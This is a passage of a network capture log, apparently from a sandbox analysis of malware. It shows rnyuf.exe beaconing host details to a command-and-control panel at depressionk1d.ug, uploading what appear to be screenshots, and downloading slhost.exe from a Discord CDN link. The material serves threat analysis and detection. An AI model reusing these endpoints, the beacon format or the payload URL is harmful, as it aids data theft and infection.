Nov 12, 2021 22:23:54.888046980 CET	8230	OUT	Data Raw: 00 a2 92 8a 00 5a 51 49 45 00 29 a2 92 8a 62 17 bd 14 0a 28 00 a5 a4 a2 80 16 8a 4c d2 8a 04 2f 34 51 cd 14 c0 28 a4 26 8c d0 16 16 8a 4c d1 4a e0 2e 45 19 a4 a2 9d c0 75 19 a4 a2 8b 88 5a 28 a2 80 0a 28 a2 80 14 52 d2 52 d3 10 a2 81 49 4b 40 82 Data Ascii: ZQIE)b(L/4Q(&LJ.EuZ((RRIK@(@hZ(Km(4m!RRsI(4RRM-.ii!h3MGjfiApi4&hG\pi4fnhfhXq4pnhfp4p
Nov 12, 2021 22:23:54.888091087 CET	8238	OUT	Data Raw: 05 ac 09 37 98 a2 2f 92 e7 25 a3 54 e4 b1 7f 95 8f dd af 33 d8 0f 6a 36 0c 74 ac 95 36 95 af fd 2d bf e0 f7 2f 9d 76 fe ba ff 00 c0 ec 7a 55 cd b6 a2 9e 30 d6 75 fb 91 21 f0 d4 d6 77 0b 15 d9 e2 de 6b 76 88 88 61 46 3c 16 07 60 08 39 05 4f 03 69 Data Ascii: 7/%T3j6t6-/vzU0u!wkvaF<`9OibC9?`9mr1.nsp3&J=M_\b}wu9cxzkVW*}?\|,(]\_35in
Nov 12, 2021 22:23:54.913418055 CET	8241	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:54 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.4	49959	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:54.919496059 CET	8242	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:54.945357084 CET	8242	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.4	49960	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:55.114799023 CET	8243	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:55.140536070 CET	8244	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.4	49961	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:55.338565111 CET	8244	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:55.364486933 CET	8245	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.4	49962	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:55.384706020 CET	8245	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:55.384793997 CET	8245	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:55.384983063 CET	8255	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:55.385163069 CET	8258	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:55.407282114 CET	8261	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:55.407321930 CET	8264	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:23:55.407354116 CET	8266	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:55.407361984 CET	8268	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:23:55.407368898 CET	8269	OUT	Data Raw: 92 8a 00 08 a4 c7 b5 2e 68 ce 68 d0 04 c7 14 52 d2 50 02 13 c5 34 d2 d2 54 94 36 93 bd 3e 93 bd 21 91 56 cf 86 7f e4 25 27 fd 71 3f cc 56 35 74 be 08 d3 2f 75 6d 6e 5b 6b 08 1a 79 85 bb 3e c5 20 1c 06 5f 5f ad 69 87 92 8d 58 b9 3b 23 3c 4c 5c a9 Data Ascii: .hhRP4T6>!V%'q?V5t/umn[ky> __iX;#<L\IE]Hb2b0J/x<I *>(LzcK\|s9I;;>Yueu_7$'Yz:,rlt
Nov 12, 2021 22:23:55.407388926 CET	8272	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:55.407407045 CET	8274	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:23:55.478281021 CET	8355	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:55 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.4	49963	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:55.504213095 CET	8356	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:55.529405117 CET	8356	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.4	49964	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:55.699477911 CET	8357	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:55.726066113 CET	8357	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49799	162.159.129.233	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:18.601067066 CET	2416	OUT	GET /attachments/878034206570209333/908810886561534042/slhost.exe HTTP/1.1 Host: cdn.discordapp.com
Nov 12, 2021 22:23:18.630228996 CET	2417	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 12 Nov 2021 21:23:18 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 12 Nov 2021 22:23:18 GMT Location: https://cdn.discordapp.com/attachments/878034206570209333/908810886561534042/slhost.exe X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TCWw7hAnZYimwBLtsIuk63fA0HNFeo5J43V1WZa3qcyhb6wRocov%2Fr2P9AKAAND%2FurBD4QDleo0mtgTsfcb25XiotIsOwkrCQQOD1RojkWdk%2BMebl8daKVUc6Am9N%2B0u2kUPuw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6ad2d21958f35364-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.2.4	49965	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:55.874058962 CET	8358	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:55.900284052 CET	8358	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.4	49967	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:56.120996952 CET	8359	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:56.148557901 CET	8398	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.2.4	49966	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:56.122304916 CET	8360	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----681dc45aa8e7e3e73e55f3d3bf467b87 Host: depressionk1d.ug Content-Length: 106842 Cache-Control: no-cache
Nov 12, 2021 22:23:56.122387886 CET	8360	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 38 31 64 63 34 35 61 61 38 65 37 65 33 65 37 33 65 35 35 66 33 64 33 62 66 34 36 37 62 38 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------681dc45aa8e7e3e73e55f3d3bf467b87Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:56.122561932 CET	8370	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:56.122642994 CET	8372	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:56.146981955 CET	8378	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:56.147020102 CET	8381	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:56.147229910 CET	8384	OUT	Data Raw: 14 53 c8 a4 c5 2b 0e e3 28 a7 e2 9a 45 21 89 4b da 8c 50 28 01 08 a4 c5 3f 14 98 a4 3b 8c 22 93 14 fa 42 29 58 77 1b 8a 31 4e c5 18 a2 c1 71 98 a5 c5 2e 29 3b d2 18 98 a3 14 ee d4 94 00 98 a5 c5 2e 29 28 01 0d 30 9c d3 89 cd 36 93 1a 19 5b 3e 19 Data Ascii: S+(E!KP(?;"B)Xw1Nq.);.)(06[>1XI\O2GW[Y7[ NO5X[Y!f&Gsk,KqAGW*GOzxDF_CaUe\|c3?]#-
Nov 12, 2021 22:23:56.147306919 CET	8398	OUT	Data Raw: d1 21 4b 49 4b 4c 42 1c d2 81 45 2d 30 0a 28 a5 c5 31 0a 28 a2 81 40 82 96 92 96 98 0b 4e 14 da 50 2a 89 1f 4a 0d 36 9c 29 92 3c 3e 29 c1 ea 2a 2a 93 26 c4 e0 83 46 d0 6a 30 69 c0 d5 5f b9 36 15 a0 06 a3 36 de 95 30 6a 76 ea 7c a9 87 34 91 4c c0 Data Ascii: !KIKLBE-0(1(@NPJ6)<>)&Fj0i_660jv\|4L0GIRWn6=]6&UJ`aME.VL@)i1NZ\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI
Nov 12, 2021 22:23:56.170721054 CET	8402	OUT	Data Raw: fe e1 bf 9f e1 a1 5b 56 b3 86 c6 ee d6 18 1a 46 59 6c 2d ae 5b 79 04 86 92 35 72 06 00 e3 27 8a a7 5a 1a 86 a7 61 a8 db db 37 f6 6d e4 37 f0 da c1 6a 66 fb 62 b4 4c 22 40 99 f2 fc a0 41 20 7f 7f 8a cf ae ca 4e 4e 3e f7 76 72 55 51 4f dd ec 82 94 Data Ascii: [VFYl-[y5r'Za7m7jfbL"@A NN>vrUQORQZ*QGz`-- )i)Z(N!E-7(!F)D>SE(5DSsFix4iDipDRR8SuR%PxZd4H<iVOf&hPj+AM2Z
Nov 12, 2021 22:23:56.170764923 CET	8415	OUT	Data Raw: 92 94 53 10 e0 29 c0 50 05 38 0a a4 88 6c 50 28 c5 38 0a 0d 5d 89 23 3d 29 b4 f3 4d 35 2c a4 36 8a 5a 4c 54 8c 28 a5 a4 14 00 e1 4b 48 28 14 c4 2d 14 52 53 01 7b d2 f7 a4 a5 a0 05 a2 8a 29 88 5a 28 a4 34 c0 53 45 14 50 02 8e 94 b4 d1 4e a6 48 52 Data Ascii: S)P8lP(8]#=)M5,6ZLT(KH(-RS{)Z(4SEPNHRRNS-(GRK@KM8QIKLBN2TcLj,p4L8X)U<x54$NPj(<A&H;9RTh~iAlH;5SL4\N2Z%3JI
Nov 12, 2021 22:23:56.170785904 CET	8416	OUT	Data Raw: e1 6c 69 ff 00 f4 0f b9 ff 00 be d6 a7 92 5d 8a 52 47 a2 83 8a f2 7f 8a 9f eb ac bf e0 7f d2 b5 3f e1 6c e9 e3 fe 61 f7 1f f7 d8 ae 33 c6 5e 28 b7 f1 23 db b5 bd b4 90 88 b7 67 7b 03 9c d5 d3 8b 8c b5 26 5a d8 f3 4a 0d 2e d3 49 b4 d7 15 99 ea 9e Data Ascii: li]RG?la3^(#g{&ZJ.IG1^ c"\|?~W>T-PJ5K7ot7nmGTWhJ[&3[Kh4)BR4R4;?2
Nov 12, 2021 22:23:56.218765020 CET	8470	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:56 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
Nov 12, 2021 22:23:56.269233942 CET	8470	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:56.294565916 CET	8471	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.2.4	49968	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:56.462101936 CET	8471	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:56.487931013 CET	8472	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
